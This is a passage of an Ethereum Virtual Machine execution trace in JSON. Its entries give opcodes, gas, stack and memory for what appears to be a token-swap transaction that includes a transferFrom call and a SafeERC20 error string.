0000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3081,"op":"SWAP1","gas":79462,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x324","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3082,"op":"DUP2","gas":79459,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3083,"op":"DUP2","gas":79456,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x324","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3084,"op":"MSTORE","gas":79453,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x324","0x2","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3085,"op":"PUSH1","gas":79450,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3087,"op":"ADD","gas":79447,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x324","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3088,"op":"DUP4","gas":79444,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3089,"op":"DUP4","gas":79441,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3090,"op":"PUSH1","gas":79438,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3092,"op":"MUL","gas":79435,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344","0xc4","0x2","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3093,"op":"DUP1","gas":79430,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344","0xc4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3094,"op":"DUP3","gas":79427,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344","0xc4","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3095,"op":"DUP5","gas":79424,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344","0xc4","0x40","0x40","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3096,"op":"CALLDATACOPY","gas":79421,"gasCost":12,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344","0xc4","0x40","0x40","0xc4","0x344"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3097,"op":"PUSH1","gas":79409,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344","0xc4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000000